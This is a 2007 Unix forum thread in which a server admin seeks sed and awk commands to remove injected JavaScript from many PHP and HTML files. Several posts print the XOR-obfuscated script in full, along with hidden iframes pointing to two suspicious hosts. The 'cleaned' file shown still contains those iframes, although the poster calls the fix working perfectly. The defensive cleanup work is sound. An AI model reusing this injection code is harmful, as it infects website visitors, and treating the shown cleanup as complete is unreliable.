# javascript injection

**URL:** <https://community.unix.com/t/javascript-injection/169536>\
**Category:** Shell Programming and Scripting\
**Created:** [March 5, 2007, 3:33pm UTC](https://community.unix.com/t/javascript-injection/169536 "2007-03-05T15:33:51Z")\
**Posts on this page:** 20\
**Page:** 1

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [March 5, 2007, 3:33pm UTC](https://community.unix.com/t/javascript-injection/169536/1 "2007-03-05T15:33:51Z")

</div>

Please advise a script to get rid of the following code which is infected in a large number of files ( in particular php and html files )

\<div id="testws35fdgh"\>\</div\>  
\<script language="JavaScript"\>  
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x34\x38\x30\x6b";  
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;  
dst = "";  
for(i = 0; i \< sr.length; i++) {  
var d = parseInt(sr.charCodeAt(i) ^ 85);  
dst = dst + String.fromCharCode(d);  
}  
document.getElementById("testws35fdgh").innerHTML = dst;  
\</script\>'\>

Thanks

---

<div class="post-metadata">

**Author:** ![sb008](https://community.unix.com/letter_avatar/sb008/32/5_5575768a8748004e209b776fc1b2916d.png) [@sb008](https://community.unix.com/u/sb008)\
**Post date:** [March 5, 2007, 4:01pm UTC](https://community.unix.com/t/javascript-injection/169536/2 "2007-03-05T16:01:44Z")

</div>

> [@fed.linuxgossip](#):
>
> Please advise a script to get rid of the following code which is infected in a large number of files ( in particular php and html files )
> 
> \<div id="testws35fdgh"\>\</div\>  
> \<script language="JavaScript"\>  
> var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x34\x38\x30\x6b";  
> sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;  
> dst = "";  
> for(i = 0; i \< sr.length; i++) {  
> var d = parseInt(sr.charCodeAt(i) ^ 85);  
> dst = dst + String.fromCharCode(d);  
> }  
> document.getElementById("testws35fdgh").innerHTML = dst;  
> \</script\>'\>
> 
> Thanks

Are there any other sections which start with:

\<div id="testws35fdgh"\>\</div\>

and end with:

\</script\>'\>

So do sections like:

\<div id="testws35fdgh"\>\</div\>  
some  
other  
lines  
in between  
\</script\>'\>

exist?

---

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [March 5, 2007, 4:30pm UTC](https://community.unix.com/t/javascript-injection/169536/3 "2007-03-05T16:30:24Z")

</div>

No there isn't ...... but there is multiple instance of the same code in a single file.

say ....

mailnull 12442 0.0 0.2 6936 2288 pts/1 S 05:20 0:05 eximstats  
root 12494 1.3 48.0 676664 493888 pts/1 DN 05:20 7:55 cpanellogd - updating bandwidth for nandkdes

root@server1 [/opt/public\_html/includes]# grep -lr 'testws35fdgh' .  
./login.php  
./main.php  
root@server1 [/opt/public\_html/includes]#

root@server1 [/opt/public\_html/includes]# cat main.php | more  
\<font color='\<?php echo $config['font']; ?\> \<div id="testws35fdgh"\>\</div\>  
\<script language="JavaScript"\>  
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26  
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a  
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\  
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\  
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3  
4\x38\x30\x6b";  
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;  
dst = "";  
for(i = 0; i \< sr.length; i++) {  
var d = parseInt(sr.charCodeAt(i) ^ 85);  
dst = dst + String.fromCharCode(d);  
}  
document.getElementById("testws35fdgh").innerHTML = dst;  
\</script\>'\>  
\<b\>\<?php echo $config['welcomemsg']; ?\> \<div id="testws35fdgh"\>\</div\>  
\<script language="JavaScript"\>  
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26  
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a  
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\  
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\  
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3  
4\x38\x30\x6b";  
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;  
dst = "";  
for(i = 0; i \< sr.length; i++) {  
var d = parseInt(sr.charCodeAt(i) ^ 85);  
dst = dst + String.fromCharCode(d);  
}  
document.getElementById("testws35fdgh").innerHTML = dst;  
\</script\>\</b\>\<br\>  
This interface has admin provision set to \<b\>\<?php echo $config['provision']; ?\>\<div id="testws35fdgh"\>\</div\>  
\<script language="JavaScript"\>  
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26  
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a  
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\  
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\  
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3  
4\x38\x30\x6b";  
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;  
dst = "";  
for(i = 0; i \< sr.length; i++) {  
var d = parseInt(sr.charCodeAt(i) ^ 85);  
dst = dst + String.fromCharCode(d);  
}  
document.getElementById("testws35fdgh").innerHTML = dst;  
\</script\>

Please advise.

Thanks

---

<div class="post-metadata">

**Author:** ![sb008](https://community.unix.com/letter_avatar/sb008/32/5_5575768a8748004e209b776fc1b2916d.png) [@sb008](https://community.unix.com/u/sb008)\
**Post date:** [March 5, 2007, 4:41pm UTC](https://community.unix.com/t/javascript-injection/169536/4 "2007-03-05T16:41:00Z")

</div>

> [@fed.linuxgossip](#):
>
> No there isn't ...... but there is multiple instance of the same code in a single file.
> 
> say ....
> 
> mailnull 12442 0.0 0.2 6936 2288 pts/1 S 05:20 0:05 eximstats  
> root 12494 1.3 48.0 676664 493888 pts/1 DN 05:20 7:55 cpanellogd - updating bandwidth for nandkdes
> 
> root@server1 [/opt/public\_html/includes]# grep -lr 'testws35fdgh' .  
> ./login.php  
> ./main.php  
> root@server1 [/opt/public\_html/includes]#
> 
> root@server1 [/opt/public\_html/includes]# cat main.php | more  
> \<font color='\<?php echo $config['font']; ?\> \<div id="testws35fdgh"\>\</div\>  
> \<script language="JavaScript"\>  
> var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26  
> \x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a  
> "; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\  
> x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\  
> x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3  
> 4\x38\x30\x6b";  
> sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;  
> dst = "";  
> for(i = 0; i \< sr.length; i++) {  
> var d = parseInt(sr.charCodeAt(i) ^ 85);  
> dst = dst + String.fromCharCode(d);  
> }  
> document.getElementById("testws35fdgh").innerHTML = dst;  
> \</script\>'\>  
> \<b\>\<?php echo $config['welcomemsg']; ?\> \<div id="testws35fdgh"\>\</div\>  
> \<script language="JavaScript"\>  
> var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26  
> \x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a  
> "; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\  
> x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\  
> x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3  
> 4\x38\x30\x6b";  
> sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;  
> dst = "";  
> for(i = 0; i \< sr.length; i++) {  
> var d = parseInt(sr.charCodeAt(i) ^ 85);  
> dst = dst + String.fromCharCode(d);  
> }  
> document.getElementById("testws35fdgh").innerHTML = dst;  
> \</script\>\</b\>\<br\>  
> This interface has admin provision set to \<b\>\<?php echo $config['provision']; ?\>\<div id="testws35fdgh"\>\</div\>  
> \<script language="JavaScript"\>  
> var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26  
> \x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a  
> "; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\  
> x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\  
> x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3  
> 4\x38\x30\x6b";  
> sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;  
> dst = "";  
> for(i = 0; i \< sr.length; i++) {  
> var d = parseInt(sr.charCodeAt(i) ^ 85);  
> dst = dst + String.fromCharCode(d);  
> }  
> document.getElementById("testws35fdgh").innerHTML = dst;  
> \</script\>
> 
> Please advise.
> 
> Thanks

You might try something like this:

```plaintext
sed -e '/id="testws35fdgh"/,/<\/script>/d' login.php > login.php.new

```

and verify login.php.new if it is as you wish

---

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [March 5, 2007, 5:10pm UTC](https://community.unix.com/t/javascript-injection/169536/5 "2007-03-05T17:10:02Z")

</div>

Please be online.. I am checking it

---

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [March 5, 2007, 5:22pm UTC](https://community.unix.com/t/javascript-injection/169536/6 "2007-03-05T17:22:18Z")

</div>

It almost works well but it removes anything that is on the same line as the letter "testws35fdgh". In this case if you check the two files... you will find that the \</body\> tag present in the infected file is missing in index.html.html.new . Also please advise how can we successfully do this for thousands of files in the entire /home directory. The directory structure of /home is like /home/username/public\_html

root@server1 [/opt/abc/manual]# cat index.html.html  
########################Top part truncated ########################  
\</tr\>  
\</table\>  
\<br /\>  
\<br /\>  
\</div\>

```
&lt;p align="center"&gt;Maintained by the &lt;a
href="http://httpd.apache.org/docs-project/"&gt;Apache HTTP Server
Documentation Project&lt;/a&gt;.&lt;/p&gt;
    &lt;hr /&gt;

&lt;h3 align="CENTER"&gt;Apache HTTP Server&lt;/h3&gt;
&lt;a href="./"&gt;&lt;img src="images/index.gif" alt="Index" /&gt;&lt;/a&gt;

```

\</body\>\<div id="testws35fdgh"\>\</div\>  
\<script language="JavaScript"\>  
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x34\x38\x30\x6b";  
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;  
dst = "";  
for(i = 0; i \< sr.length; i++) {  
var d = parseInt(sr.charCodeAt(i) ^ 85);  
dst = dst + String.fromCharCode(d);  
}  
document.getElementById("testws35fdgh").innerHTML = dst;  
\</script\>  
\</html\>

root@server1 [/opt/abc/manual]# sed -e '/id="testws35fdgh"/,/\<\/script\>/d' index.html.html \> index.html.html.new

root@server1 [/opt/abc/manual]# cat index.html.html.new  
########################Top part truncated ########################  
\</tr\>

```
          &lt;tr&gt;
            &lt;td&gt;&lt;a href="sitemap.html"&gt;SiteMap&lt;/a&gt;
            &lt;/td&gt;
          &lt;/tr&gt;

          &lt;tr&gt;
            &lt;td&gt;&lt;a href="misc/tutorials.html"&gt;Tutorials&lt;/a&gt;
            &lt;/td&gt;
          &lt;/tr&gt;

          &lt;tr&gt;
            &lt;td&gt;&lt;a href="misc/"&gt;Other Notes&lt;/a&gt; &lt;/td&gt;
          &lt;/tr&gt;
        &lt;/table&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&lt;/div&gt;

&lt;p align="center"&gt;Maintained by the &lt;a
href="http://httpd.apache.org/docs-project/"&gt;Apache HTTP Server
Documentation Project&lt;/a&gt;.&lt;/p&gt;
    &lt;hr /&gt;

&lt;h3 align="CENTER"&gt;Apache HTTP Server&lt;/h3&gt;
&lt;a href="./"&gt;&lt;img src="images/index.gif" alt="Index" /&gt;&lt;/a&gt;

```

\</html\>

Thanks

---

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [March 5, 2007, 5:46pm UTC](https://community.unix.com/t/javascript-injection/169536/7 "2007-03-05T17:46:45Z")

</div>

What about removing only .....

\<script language="JavaScript"\>  
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26  
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a  
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\  
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\  
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3  
4\x38\x30\x6b";  
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;  
dst = "";  
for(i = 0; i \< sr.length; i++) {  
var d = parseInt(sr.charCodeAt(i) ^ 85);  
dst = dst + String.fromCharCode(d);  
}  
document.getElementById("testws35fdgh").innerHTML = dst;  
\</script\>'\>

at the first instance and the "\<div id="testws35fdgh"\>\</div\>" part with a replace command at the second instance.

How should I start/end the sed command for

\<script language="JavaScript"\>  
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26  
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a  
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\  
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\  
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3  
4\x38\x30\x6b";  
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;  
dst = "";  
for(i = 0; i \< sr.length; i++) {  
var d = parseInt(sr.charCodeAt(i) ^ 85);  
dst = dst + String.fromCharCode(d);  
}  
document.getElementById("testws35fdgh").innerHTML = dst;  
\</script\>'\>

Thanks

---

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [March 5, 2007, 5:51pm UTC](https://community.unix.com/t/javascript-injection/169536/8 "2007-03-05T17:51:49Z")

</div>

root@server1 [/opt/abc/manual]# sed -e '/language="JavaScript"/,/\<\/script\>/d' footer.html \> footer.html.new

works but what if there is some genuine javascript starting with \<script language="JavaScript"\> 🙂

---

<div class="post-metadata">

**Author:** ![sb008](https://community.unix.com/letter_avatar/sb008/32/5_5575768a8748004e209b776fc1b2916d.png) [@sb008](https://community.unix.com/u/sb008)\
**Post date:** [March 5, 2007, 7:13pm UTC](https://community.unix.com/t/javascript-injection/169536/9 "2007-03-05T19:13:50Z")

</div>

```nohighlight
nawk '/id="testws35fdgh"/ { print $0"XXXXX" } { print $0 }' login.php | sed -e 's/<div id="testws35fdgh">.*XXXXX$//' -e '/id="testws35fdgh"/,/<\/script>/d' > login.php.new

```

---

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [March 5, 2007, 7:15pm UTC](https://community.unix.com/t/javascript-injection/169536/10 "2007-03-05T19:15:34Z")

</div>

Thank you.. checking it.. please be online.. I want to resolve this..

---

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [March 5, 2007, 7:20pm UTC](https://community.unix.com/t/javascript-injection/169536/11 "2007-03-05T19:20:45Z")

</div>

nawk command is not availabe in the server... is rpm package avaible for nawk command in redhat linux ?

---

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [March 5, 2007, 7:27pm UTC](https://community.unix.com/t/javascript-injection/169536/12 "2007-03-05T19:27:31Z")

</div>

Great... thanks a ton.... its working perfect... you are my hero.

I have used awk instead of nawk

root@server1 [/opt/abc/manual]# awk '/id="testws35fdgh"/ { print $0"XXXXX" } { print $0 }' footer.html | sed -e 's/\<div id="testws35fdgh"\>.\*XXXXX$//' -e '/id="testws35fdgh"/,/\<\/script\>/d' \> footer.html.new

root@server1 [/opt/abc/manual]# cat footer.html  
\<hr /\>

```
&lt;h3 align="CENTER"&gt;Apache HTTP Server&lt;/h3&gt;
&lt;a href="./"&gt;&lt;img src="images/index.gif" alt="Index" /&gt;&lt;/a&gt;

```

\<IFRAME name='StatPage' src='[http://www.kaspersky-norton.ws/new/traff.php](http://www.kaspersky-norton.ws/new/traff.php)' width=5 height=5 style='display:none'\>\</IFRAME\>\<IFRAME name='StatPage' src='[http://www.kusik-tusik-trf.com/trf/traf.php](http://www.kusik-tusik-trf.com/trf/traf.php)' width=5 height=5 style='display:none'\>\</IFRAME\>\<div id="testws35fdgh"\>\</div\>  
\<script language="JavaScript"\>  
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x34\x38\x30\x6b";  
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;  
dst = "";  
for(i = 0; i \< sr.length; i++) {  
var d = parseInt(sr.charCodeAt(i) ^ 85);  
dst = dst + String.fromCharCode(d);  
}  
document.getElementById("testws35fdgh").innerHTML = dst;  
\</script\>

root@server1 [/opt/abc/manual]#  
root@server1 [/opt/abc/manual]#  
root@server1 [/opt/abc/manual]# cat footer.html.new  
\<hr /\>

```
&lt;h3 align="CENTER"&gt;Apache HTTP Server&lt;/h3&gt;
&lt;a href="./"&gt;&lt;img src="images/index.gif" alt="Index" /&gt;&lt;/a&gt;

```

\<IFRAME name='StatPage' src='[http://www.kaspersky-norton.ws/new/traff.php](http://www.kaspersky-norton.ws/new/traff.php)' width=5 height=5 style='display:none'\>\</IFRAME\>\<IFRAME name='StatPage' src='[http://www.kusik-tusik-trf.com/trf/traf.php](http://www.kusik-tusik-trf.com/trf/traf.php)' width=5 height=5 style='display:none'\>\</IFRAME\>

Thanks a lot......

1 last question.... how can we devise a script that will replace this on the same file it is scanned for.. it is not possible for me to manually run this script for each file.... is it possible?

---

<div class="post-metadata">

**Author:** ![sb008](https://community.unix.com/letter_avatar/sb008/32/5_5575768a8748004e209b776fc1b2916d.png) [@sb008](https://community.unix.com/u/sb008)\
**Post date:** [March 5, 2007, 7:36pm UTC](https://community.unix.com/t/javascript-injection/169536/13 "2007-03-05T19:36:40Z")

</div>

> [@fed.linuxgossip](#):
>
> Great... thanks a ton.... its working perfect... you are my hero.
> 
> I have used awk instead of nawk
> 
> root@server1 [/opt/abc/manual]# awk '/id="testws35fdgh"/ { print $0"XXXXX" } { print $0 }' footer.html | sed -e 's/\<div id="testws35fdgh"\>.\*XXXXX$//' -e '/id="testws35fdgh"/,/\<\/script\>/d' \> footer.html.new
> 
> root@server1 [/opt/abc/manual]# cat footer.html  
> \<hr /\>
> 
> \<h3 align="CENTER"\>Apache HTTP Server\</h3\>  
> \<a href="./"\>\<img src="images/index.gif" alt="Index" /\>\</a\>  
> \<IFRAME name='StatPage' src='[http://www.kaspersky-norton.ws/new/traff.php](http://www.kaspersky-norton.ws/new/traff.php)' width=5 height=5 style='display:none'\>\</IFRAME\>\<IFRAME name='StatPage' src='[http://www.kusik-tusik-trf.com/trf/traf.php](http://www.kusik-tusik-trf.com/trf/traf.php)' width=5 height=5 style='display:none'\>\</IFRAME\>\<div id="testws35fdgh"\>\</div\>  
> \<script language="JavaScript"\>  
